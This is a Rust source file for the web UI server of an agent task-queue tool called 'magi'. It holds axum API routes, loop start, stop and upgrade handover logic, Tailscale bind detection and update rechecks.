1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128pub const DEFAULT_PORT: u16 = 7878;
130
131const POLL: Duration = Duration::from_secs(1);
133
134const KEEPALIVE: Duration = Duration::from_secs(15);
138
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155const LIST_DEFAULT: usize = 50;
159const LIST_MAX: usize = 500;
161
162const TITLE_MAX: usize = 72;
164
165const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182const FILENAME_HEADER: &str = "x-filename";
186
187const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210 font-src data:; base-uri 'none'; form-action 'none'; \
211 frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220 Auto,
222 Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227 type Err = String;
228
229 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233 if s.eq_ignore_ascii_case("auto") {
234 return Ok(Self::Auto);
235 }
236 s.parse()
237 .map(Self::Addr)
238 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239 }
240}
241
242impl std::fmt::Display for Bind {
243 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244 match self {
245 Self::Auto => f.write_str("auto"),
246 Self::Addr(addr) => write!(f, "{addr}"),
247 }
248 }
249}
250
251#[derive(Debug, Clone)]
253pub struct Opts {
254 pub bind: Bind,
256 pub port: u16,
258 pub repo: PathBuf,
260 pub open: bool,
263 pub merge: Option<String>,
271}
272
273impl Default for Opts {
274 fn default() -> Self {
275 Self {
276 bind: Bind::Auto,
277 port: DEFAULT_PORT,
278 repo: PathBuf::from("."),
279 open: false,
280 merge: None,
281 }
282 }
283}
284
285#[derive(Debug, Clone)]
291pub struct Ui {
292 queue: Queue,
293 questions: Questions,
294 notices: Notices,
297 talks: Talks,
298 runs: PathBuf,
299 home: PathBuf,
300 repo: PathBuf,
301 worktrees_root: PathBuf,
308 talk_turns: Arc<Mutex<TalkTurns>>,
316 resuming: Arc<Mutex<HashSet<String>>>,
324 repos_cache: repos::Cache,
328 machine_config: Option<PathBuf>,
332 merge: Option<String>,
334 looping: Arc<Mutex<LoopState>>,
336 launch: Launch,
348 #[cfg(test)]
351 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354#[cfg(test)]
374struct BusyQueueGate {
375 reached: tokio::sync::oneshot::Sender<()>,
376 release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383 }
384}
385
386impl Ui {
387 pub fn new(
389 queue: Queue,
390 questions: Questions,
391 talks: Talks,
392 runs: PathBuf,
393 home: PathBuf,
394 repo: PathBuf,
395 ) -> Self {
396 Self {
397 queue,
398 questions,
399 notices: Notices::at(home.join("notifications")),
400 talks,
401 runs,
402 home,
403 repo,
404 worktrees_root: run::default_worktree_root(),
408 talk_turns: Arc::default(),
409 resuming: Arc::default(),
410 repos_cache: repos::Cache::new(),
411 machine_config: Config::machine_layer(),
412 merge: None,
413 looping: Arc::default(),
414 launch: launch_daemon,
415 #[cfg(test)]
416 busy_queue_gate: Arc::default(),
417 }
418 }
419
420 pub fn open(repo: PathBuf) -> Self {
423 Self::new(
424 Queue::open(),
425 Questions::open(),
426 Talks::open(),
427 run::runs_root(),
428 run::home(),
429 repo,
430 )
431 }
432
433 #[must_use]
440 pub fn with_merge(mut self, merge: Option<String>) -> Self {
441 self.merge = merge;
442 self
443 }
444
445 #[cfg(test)]
448 #[must_use]
449 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450 self.machine_config = path;
451 self
452 }
453
454 #[must_use]
459 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460 self.worktrees_root = root;
461 self
462 }
463
464 #[cfg(test)]
469 #[must_use]
470 fn with_launch(mut self, launch: Launch) -> Self {
471 self.launch = launch;
472 self
473 }
474
475 #[cfg(test)]
485 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486 *self
487 .busy_queue_gate
488 .lock()
489 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490 }
491
492 fn looping(&self) -> Arc<Mutex<LoopState>> {
494 Arc::clone(&self.looping)
495 }
496
497 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504 if let Some(other) = foreign {
505 return Err(ApiError::conflict(format!(
506 "{} is already running the loop, so this one will not start a \
507 second: two loops on one queue race for the same claims and \
508 burn the agent quota twice over. Stop it where it was \
509 started.",
510 other.who()
511 )));
512 }
513 let mut state = self.lock_loop();
514 if state.live.as_ref().is_some_and(Live::alive) {
515 return Err(ApiError::conflict(format!(
516 "this magi web process (pid {}) is already running the loop",
517 std::process::id()
518 )));
519 }
520
521 let stop = daemon::Stop::new();
522 let opts = daemon::Opts {
526 repo: self.repo.clone(),
527 merge: self.merge.clone(),
528 worktrees_root: Some(self.worktrees_root.clone()),
535 ..daemon::Opts::default()
536 };
537 let launch = self.launch;
538 let looping = Arc::clone(&self.looping);
539 let handle = tokio::spawn({
540 let opts = opts.clone();
541 let stop = stop.clone();
542 async move {
543 let failure = match launch(opts, stop).await {
544 Ok(()) => None,
545 Err(e) => Some(format!("{e:#}")),
546 };
547 match &failure {
548 Some(why) => tracing::error!("the loop stopped: {why}"),
549 None => tracing::info!("the loop stopped"),
550 }
551 let mut state = lock_or_recover(&looping);
557 state.live = None;
558 state.last_error = failure;
559 state.rev += 1;
560 }
561 });
562 tracing::info!(
563 "the loop is now running in this process: repo {}, merge {}",
564 opts.repo.display(),
565 opts.merge.as_deref().unwrap_or("as the config says")
566 );
567 state.live = Some(Live { stop, handle, opts });
568 state.last_error = None;
571 state.rev += 1;
572 Ok(())
573 }
574
575 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581 if let Some(other) = foreign {
582 return Err(ApiError::conflict(format!(
583 "the loop belongs to {}, and this process cannot stop it - \
584 stop it where it was started. A button that silently did \
585 nothing would be worse than this refusal.",
586 other.who()
587 )));
588 }
589 let mut state = self.lock_loop();
590 if !park {
593 state.resume_after_handover = false;
594 }
595 let Some(live) = state.live.as_ref() else {
596 return Ok(());
597 };
598 if live.stop.stopped() && (!park || live.stop.parking()) {
602 return Ok(());
603 }
604 if park {
605 live.stop.park();
606 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607 } else {
608 live.stop.stop();
609 tracing::info!("the loop was asked to stop; a run in flight is finished first");
610 }
611 state.rev += 1;
612 Ok(())
613 }
614
615 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622 let state = self.lock_loop();
623 let live = state.live.as_ref().filter(|live| live.alive());
626 LoopView {
627 running: live.is_some(),
628 stopping: live.is_some_and(|live| live.stop.finishing()),
629 parking: live.is_some_and(|live| live.stop.parking()),
630 owned: live.is_some(),
631 repo: live
632 .map_or(&self.repo, |live| &live.opts.repo)
633 .display()
634 .to_string(),
635 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636 last_error: state.last_error.clone(),
637 daemon: DaemonView::of(reading),
638 }
639 }
640
641 fn resume_after_handover(&self, resume: bool) -> bool {
647 if !resume {
648 return false;
649 }
650 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651 match self.start_loop(foreign) {
652 Ok(()) => true,
653 Err(e) => {
654 let why = format!(
655 "the loop could not be resumed after the upgrade: {}",
656 e.message
657 );
658 tracing::warn!("{why}");
659 let mut state = self.lock_loop();
660 state.last_error = Some(why);
661 state.rev += 1;
662 false
663 }
664 }
665 }
666
667 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669 lock_or_recover(&self.looping)
670 }
671
672 fn is_thinking(&self, id: &str) -> bool {
678 self.talk_turns
679 .lock()
680 .is_ok_and(|turns| turns.live.contains(id))
681 }
682
683 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702 self.claim_talk_turn(id, false)
703 }
704
705 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708 self.claim_talk_turn(id, true)
709 }
710
711 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712 let mut live = self
713 .talk_turns
714 .lock()
715 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716 if !live.live.insert(id.to_owned()) {
717 if queued {
718 *live.queued.entry(id.to_owned()).or_default() += 1;
723 }
724 return Ok(None);
725 }
726 Ok(Some(TalkTurnGuard {
727 talk: id.to_owned(),
728 turns: Arc::clone(&self.talk_turns),
729 released: false,
730 }))
731 }
732
733 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738 let mut live = self
739 .talk_turns
740 .lock()
741 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742 if live.live.contains(id) {
743 return Ok(TalkTurnStart::Busy);
744 }
745 let talk = self.talks.get(id).map_err(ApiError::from)?;
746 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747 return Ok(TalkTurnStart::Pending);
748 }
749 live.live.insert(id.to_owned());
750 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751 talk: id.to_owned(),
752 turns: Arc::clone(&self.talk_turns),
753 released: false,
754 }))
755 }
756
757 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764 let parking = {
765 let mut state = self.lock_loop();
766 let resume = state.resume_after_handover
776 || state
777 .live
778 .as_ref()
779 .is_some_and(|live| live.alive() && !live.stop.stopped());
780 state.resume_after_handover = resume;
781 let Some(live) = state.live.as_ref() else {
782 return Ok(None);
783 };
784 let busy = live.stop.busy_now();
785 live.stop.park();
786 state.rev += 1;
787 busy
788 };
789 Ok(if parking {
790 daemon::current_work(&self.home, jiff::Timestamp::now())
795 .into_iter()
796 .next()
797 .map(|c| c.run)
798 } else {
799 None
800 })
801 }
802
803 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807 let mut live = self
808 .resuming
809 .lock()
810 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811 if !live.insert(id.to_owned()) {
812 return Err(ApiError::conflict(format!(
813 "run {id} is already being resumed"
814 )));
815 }
816 Ok(ResumeGuard {
817 run: id.to_owned(),
818 resuming: Arc::clone(&self.resuming),
819 })
820 }
821
822 pub fn router(self) -> Router {
830 Router::new()
831 .route("/", get(index))
832 .route("/app.css", get(app_css))
833 .route("/app.js", get(app_js))
834 .route("/api/health", get(health))
835 .route("/api/loop", get(loop_get).post(loop_post))
836 .route("/api/upgrade", post(upgrade_post))
837 .route("/api/runs", get(runs_list))
838 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839 .route("/api/runs/{id}/report", get(run_report))
840 .route("/api/runs/{id}/fold", post(run_fold))
841 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
842 .route("/api/runs/{id}/resume", post(run_resume))
843 .route("/api/queue", get(queue_list))
844 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
845 .route("/api/stats", get(stats_get))
846 .route("/api/repos", get(repos_list))
847 .route("/api/settings", get(settings_get))
848 .route("/api/settings/roles", put(settings_put_roles))
849 .route("/api/queue/{id}/hold", post(queue_hold))
850 .route("/api/queue/{id}/release", post(queue_release))
851 .route("/api/queue/{id}/priority", post(queue_priority))
852 .route("/api/queue/{id}/edit", post(queue_edit))
853 .route("/api/queue/{id}/done", post(queue_done))
854 .route("/api/questions", get(questions_list))
855 .route("/api/questions/{id}/answer", post(question_answer))
856 .route("/api/questions/{id}/say", post(question_say))
857 .route("/api/questions/{id}/panel", get(question_panel))
858 .route("/api/questions/{id}/panel/index.html", get(question_panel))
866 .route("/api/questions/{id}/panel/{name}", get(question_asset))
867 .route("/api/questions/{id}/asset/{name}", get(question_asset))
868 .route("/api/notifications", get(notifications_list))
869 .route("/api/notifications/read-all", post(notifications_read_all))
870 .route("/api/notifications/{id}/read", post(notification_read))
871 .route(
872 "/api/notifications/{id}/dismiss",
873 post(notification_dismiss),
874 )
875 .route("/api/talks", get(talks_list).post(talk_post))
876 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
877 .route("/api/talks/{id}/say", post(talk_say))
878 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
879 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
880 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
881 .route("/api/talks/{id}/agent", post(talk_agent))
882 .route("/api/talks/{id}/close", post(talk_close))
883 .route("/api/talks/{id}/reopen", post(talk_reopen))
884 .route(
890 "/api/talks/{id}/attachments",
891 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
892 )
893 .route(
894 "/api/talks/{id}/attachments/{att}",
895 get(talk_attachment_get),
896 )
897 .route("/api/events", get(events))
898 .with_state(Arc::new(self))
899 }
900}
901
902#[derive(Debug)]
908struct TalkTurnGuard {
909 talk: String,
910 turns: Arc<Mutex<TalkTurns>>,
911 released: bool,
912}
913
914#[derive(Debug, Default)]
921struct TalkTurns {
922 live: HashSet<String>,
923 queued: HashMap<String, u64>,
924}
925
926enum TalkTurnStart {
929 Claimed(TalkTurnGuard),
930 Busy,
931 Pending,
932}
933
934impl TalkTurnGuard {
935 fn release(mut self, live: &mut TalkTurns) {
938 live.live.remove(&self.talk);
939 live.queued.remove(&self.talk);
940 self.released = true;
941 }
942}
943
944impl Drop for TalkTurnGuard {
945 fn drop(&mut self) {
946 if self.released {
947 return;
948 }
949 if let Ok(mut live) = self.turns.lock() {
950 live.live.remove(&self.talk);
951 live.queued.remove(&self.talk);
952 }
953 }
954}
955
956struct ResumeGuard {
958 run: String,
959 resuming: Arc<Mutex<HashSet<String>>>,
960}
961
962impl Drop for ResumeGuard {
963 fn drop(&mut self) {
964 if let Ok(mut live) = self.resuming.lock() {
965 live.remove(&self.run);
966 }
967 }
968}
969
970async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
980 const WINDOW: Duration = Duration::from_secs(10);
981 const GAP: Duration = Duration::from_millis(250);
982
983 let deadline = std::time::Instant::now() + WINDOW;
984 let mut said = false;
985 loop {
986 match tokio::net::TcpListener::bind(socket).await {
987 Ok(listener) => return Ok(listener),
988 Err(e)
989 if e.kind() == std::io::ErrorKind::AddrInUse
990 && std::time::Instant::now() < deadline =>
991 {
992 if !said {
993 said = true;
994 tracing::info!(
995 "{socket} is still held - waiting up to {}s for it, \
996 which is what a restart looks like from here",
997 WINDOW.as_secs()
998 );
999 }
1000 tokio::time::sleep(GAP).await;
1001 }
1002 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1003 }
1004 }
1005}
1006
1007static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1010
1011const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1013
1014fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1016 value.is_some_and(|v| v == "1")
1017}
1018
1019fn spawn_successor(resume: bool) -> Result<()> {
1037 let exe = std::env::current_exe().context("find this binary")?;
1038 let args: Vec<String> = std::env::args().skip(1).collect();
1039 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
1040
1041 let mut cmd = std::process::Command::new(&exe);
1042 if resume {
1043 cmd.env(RESUME_LOOP_ENV, "1");
1044 } else {
1045 cmd.env_remove(RESUME_LOOP_ENV);
1046 }
1047 cmd.args(&args)
1048 .stdin(std::process::Stdio::null())
1049 .stdout(std::process::Stdio::null())
1050 .stderr(std::process::Stdio::null());
1051 #[cfg(windows)]
1052 {
1053 use std::os::windows::process::CommandExt as _;
1054 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1057 }
1058 cmd.spawn().context("start the successor")?;
1059 Ok(())
1060}
1061
1062pub async fn serve(opts: Opts) -> Result<()> {
1087 let (addr, warning) = resolve_bind(&opts.bind);
1088 if let Some(warning) = warning {
1089 tracing::warn!("{warning}");
1090 }
1091
1092 report::set_color(false);
1098
1099 let repo = normalize_default_repo(opts.repo).await;
1100 let ui = Ui::open(repo).with_merge(opts.merge);
1101 let home = ui.home.clone();
1106 let repo = ui.repo.clone();
1107 updater::reconcile_after_restart(&home);
1112 tokio::spawn(run_update_recheck(repo, home.clone()));
1121 let looping = ui.looping();
1122 let socket = SocketAddr::new(addr, opts.port);
1123 let listener = bind_waiting(socket).await?;
1124 let url = format!("http://{addr}:{}", opts.port);
1125 tracing::info!(
1126 "magi web UI on {url} - there is no authentication, so anyone who can \
1127 reach this address can file and hold tasks: the tailnet is the \
1128 security boundary"
1129 );
1130 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1131 tracing::info!("resumed the loop the predecessor was running");
1132 } else {
1133 tracing::info!(
1134 "the queue loop is not running yet - start it from the UI, which is \
1135 the whole reason this process can: nothing in the queue moves until \
1136 something is running the loop"
1137 );
1138 }
1139 if opts.open {
1140 println!("{url}");
1144 }
1145
1146 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1149 let interrupted = async {
1150 if tokio::signal::ctrl_c().await.is_err() {
1151 std::future::pending::<()>().await;
1156 }
1157 };
1158 let handover = HANDOVER.notified();
1159 tokio::select! {
1160 joined = &mut served => match joined {
1161 Ok(outcome) => outcome.context("serve the web UI"),
1162 Err(e) => Err(e).context("the task serving the web UI ended"),
1163 },
1164 () = interrupted => {
1165 tracing::info!("shutting down the web UI");
1166 finish_loop(&looping).await;
1167 Ok(())
1168 }
1169 () = handover => {
1170 tracing::info!("upgraded - handing this address to the successor");
1171 hand_over(&home, &looping, served, spawn_successor).await
1172 }
1173 }
1174}
1175
1176async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1197 if repo != FsPath::new(".") {
1198 return repo;
1199 }
1200 let Ok(canonical) = repo.canonicalize() else {
1201 return repo;
1202 };
1203 if git::toplevel(&canonical).await.is_ok() {
1204 return repo;
1205 }
1206 let Some(home) = dirs::home_dir() else {
1207 return repo;
1208 };
1209 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1210 Some(found) => {
1211 tracing::info!(
1212 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1213 canonical.display(),
1214 found.path.display(),
1215 found.reason,
1216 );
1217 found.path
1218 }
1219 None => repo,
1220 }
1221}
1222
1223async fn hand_over(
1253 home: &FsPath,
1254 looping: &Mutex<LoopState>,
1255 served: tokio::task::JoinHandle<std::io::Result<()>>,
1256 successor: impl FnOnce(bool) -> Result<()>,
1257) -> Result<()> {
1258 if let Some(mut progress) = updater::read_progress(home) {
1259 progress.advance(updater::Stage::Parking);
1260 let _ = updater::write_progress(home, &progress);
1261 }
1262 finish_loop(looping).await;
1263 served.abort();
1264 let _ = served.await;
1265 let resume = lock_or_recover(looping).resume_after_handover;
1268 if let Some(mut progress) = updater::read_progress(home) {
1269 progress.advance(updater::Stage::Restarting);
1270 let _ = updater::write_progress(home, &progress);
1271 }
1272 successor(resume)
1273}
1274
1275async fn finish_loop(state: &Mutex<LoopState>) {
1282 let live = lock_or_recover(state).live.take();
1283 let Some(live) = live else { return };
1284 live.stop.stop();
1285 lock_or_recover(state).rev += 1;
1286 tracing::info!("waiting for the loop to finish the run in flight");
1287 let _ = live.handle.await;
1290}
1291
1292pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1298 match bind {
1299 Bind::Addr(addr) => (*addr, None),
1300 Bind::Auto => match tailscale_ip() {
1301 Ok(ip) => (IpAddr::V4(ip), None),
1302 Err(why) => (
1303 IpAddr::V4(Ipv4Addr::LOCALHOST),
1304 Some(format!(
1305 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1306 local-only and a phone cannot reach it; start Tailscale \
1307 or pass --bind <addr>"
1308 )),
1309 ),
1310 },
1311 }
1312}
1313
1314fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1322 let out = std::process::Command::new("tailscale")
1323 .args(["ip", "-4"])
1324 .quiet()
1325 .output()
1326 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1327 if !out.status.success() {
1328 let why = String::from_utf8_lossy(&out.stderr);
1329 let why = why.trim();
1330 return Err(format!(
1331 "`tailscale ip -4` failed ({}){}",
1332 out.status,
1333 if why.is_empty() {
1334 String::new()
1335 } else {
1336 format!(": {why}")
1337 }
1338 ));
1339 }
1340 String::from_utf8_lossy(&out.stdout)
1341 .lines()
1342 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1343 .find(is_tailnet)
1344 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1345}
1346
1347fn is_tailnet(ip: &Ipv4Addr) -> bool {
1349 let o = ip.octets();
1350 o[0] == 100 && (64..=127).contains(&o[1])
1351}
1352
1353type ApiResult<T> = std::result::Result<T, ApiError>;
1357
1358#[derive(Debug)]
1360struct ApiError {
1361 status: StatusCode,
1362 message: String,
1363}
1364
1365impl ApiError {
1366 fn bad_request(message: impl Into<String>) -> Self {
1368 Self {
1369 status: StatusCode::BAD_REQUEST,
1370 message: message.into(),
1371 }
1372 }
1373
1374 fn not_found(message: impl Into<String>) -> Self {
1376 Self {
1377 status: StatusCode::NOT_FOUND,
1378 message: message.into(),
1379 }
1380 }
1381
1382 fn with_status(mut self, status: StatusCode) -> Self {
1385 self.status = status;
1386 self
1387 }
1388
1389 fn bad_request_from(e: anyhow::Error) -> Self {
1393 Self::bad_request(format!("{e:#}"))
1394 }
1395
1396 fn conflict(message: impl Into<String>) -> Self {
1397 Self {
1398 status: StatusCode::CONFLICT,
1399 message: message.into(),
1400 }
1401 }
1402
1403 fn internal(message: impl Into<String>) -> Self {
1405 Self {
1406 status: StatusCode::INTERNAL_SERVER_ERROR,
1407 message: message.into(),
1408 }
1409 }
1410}
1411
1412impl From<anyhow::Error> for ApiError {
1413 fn from(e: anyhow::Error) -> Self {
1418 Self::internal(format!("{e:#}"))
1419 }
1420}
1421
1422impl IntoResponse for ApiError {
1423 fn into_response(self) -> Response {
1424 let body = serde_json::json!({ "error": self.message });
1425 (self.status, Json(body)).into_response()
1426 }
1427}
1428
1429async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1438where
1439 T: Send + 'static,
1440{
1441 match tokio::task::spawn_blocking(job).await {
1442 Ok(result) => result,
1443 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1444 }
1445}
1446
1447const ASSET_CACHE: &str = "no-cache, must-revalidate";
1465
1466fn asset_etag() -> &'static str {
1473 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1474 format!(
1475 "\"{}-{}\"",
1476 env!("CARGO_PKG_VERSION"),
1477 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1482 )
1483 });
1484 &TAG
1485}
1486
1487fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1489 [
1490 (header::CONTENT_TYPE, mime),
1491 (header::CACHE_CONTROL, ASSET_CACHE),
1492 (header::ETAG, asset_etag()),
1493 ]
1494}
1495
1496fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1504 let tag = asset_etag();
1505 let known = headers
1506 .get(header::IF_NONE_MATCH)
1507 .and_then(|v| v.to_str().ok())
1508 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1512 if known {
1513 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1514 }
1515 (asset_headers(mime), body).into_response()
1516}
1517
1518async fn index(headers: header::HeaderMap) -> Response {
1519 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1520}
1521
1522async fn app_css(headers: header::HeaderMap) -> Response {
1523 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1524}
1525
1526async fn app_js(headers: header::HeaderMap) -> Response {
1527 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1528}
1529
1530#[derive(Debug, Serialize)]
1532struct HealthView {
1533 version: &'static str,
1534 home: String,
1535 queue_rev: u64,
1536 runs_rev: u64,
1537 questions_rev: u64,
1549 talks_rev: u64,
1551 notifications_rev: u64,
1553 notifications_unread: usize,
1556 loop_rev: u64,
1561 runs_unreadable: usize,
1569 disk: DiskView,
1577 questions_open: usize,
1583 questions_needs_owner: usize,
1593 daemon: DaemonView,
1594 #[serde(rename = "loop")]
1600 looping: LoopView,
1601 update: UpdateView,
1608 upgrade: Option<UpgradeProgressView>,
1612}
1613
1614#[derive(Debug, Serialize)]
1621struct UpdateView {
1622 available: bool,
1624 to: Option<String>,
1626}
1627
1628#[derive(Debug, Serialize)]
1630struct UpgradeProgressView {
1631 stage: updater::Stage,
1632 from: String,
1633 to: Option<String>,
1634 waiting_on: Option<String>,
1637 started_at: Timestamp,
1638 updated_at: Timestamp,
1639 detail: Option<String>,
1640}
1641
1642fn should_spawn_recheck(cfg: &Update) -> bool {
1649 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1650}
1651
1652fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1664 if progress.is_some_and(|p| !p.stage.terminal()) {
1665 return false;
1666 }
1667 checker.should_check()
1668}
1669
1670fn recheck_poll_period(cfg: &Update) -> Duration {
1683 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1684}
1685
1686async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1710 loop {
1711 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1712 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1713 if !should_spawn_recheck(&cfg.update) {
1714 continue;
1715 }
1716 let Some(checker) = updater::Checker::new(&cfg.update) else {
1717 continue;
1718 };
1719 let progress = updater::read_progress(&home);
1720 if !update_recheck_due(&checker, progress.as_ref()) {
1721 continue;
1722 }
1723 if let Err(e) = checker.newer_release().await {
1724 tracing::warn!("background update recheck failed: {e:#}");
1725 }
1726 }
1727}
1728
1729fn cached_update_view(repo: &FsPath) -> UpdateView {
1735 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1736 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1737 match latest {
1738 Some(latest) => UpdateView {
1739 available: true,
1740 to: Some(latest.tag_name),
1741 },
1742 None => UpdateView {
1743 available: false,
1744 to: None,
1745 },
1746 }
1747}
1748
1749fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1755 let waiting_on = (progress.stage == updater::Stage::Parking)
1756 .then_some(progress.parked_run.as_deref())
1757 .flatten()
1758 .and_then(|id| read_run(&ui.runs, id).ok())
1759 .map(|run| {
1760 format!(
1761 "run {} is finishing {} before the address is handed over",
1762 run.short(),
1763 run.status.as_str()
1764 )
1765 });
1766 UpgradeProgressView {
1767 stage: progress.stage,
1768 from: progress.from,
1769 to: progress.to,
1770 waiting_on,
1771 started_at: progress.started_at,
1772 updated_at: progress.updated_at,
1773 detail: progress.detail,
1774 }
1775}
1776
1777#[derive(Debug, Serialize)]
1782struct DiskView {
1783 #[serde(skip_serializing_if = "Option::is_none")]
1785 free_bytes: Option<u64>,
1786 runs_bytes: u64,
1788 worktrees_bytes: u64,
1790 #[serde(skip_serializing_if = "Option::is_none")]
1792 cache_bytes: Option<u64>,
1793}
1794
1795impl DiskView {
1796 fn of(ui: &Ui) -> Self {
1798 let cache_bytes = Config::discover(&ui.repo, None)
1799 .ok()
1800 .and_then(|(cfg, _)| cfg.cache_dir())
1801 .map(|dir| crate::disk::dir_size(&dir));
1802 Self {
1803 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1804 runs_bytes: crate::disk::dir_size(&ui.runs),
1805 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1806 cache_bytes,
1807 }
1808 }
1809}
1810
1811#[derive(Debug, Serialize)]
1813struct DaemonView {
1814 running: bool,
1815 idle: Option<bool>,
1816 pid: Option<u32>,
1817 current: Vec<daemon::Current>,
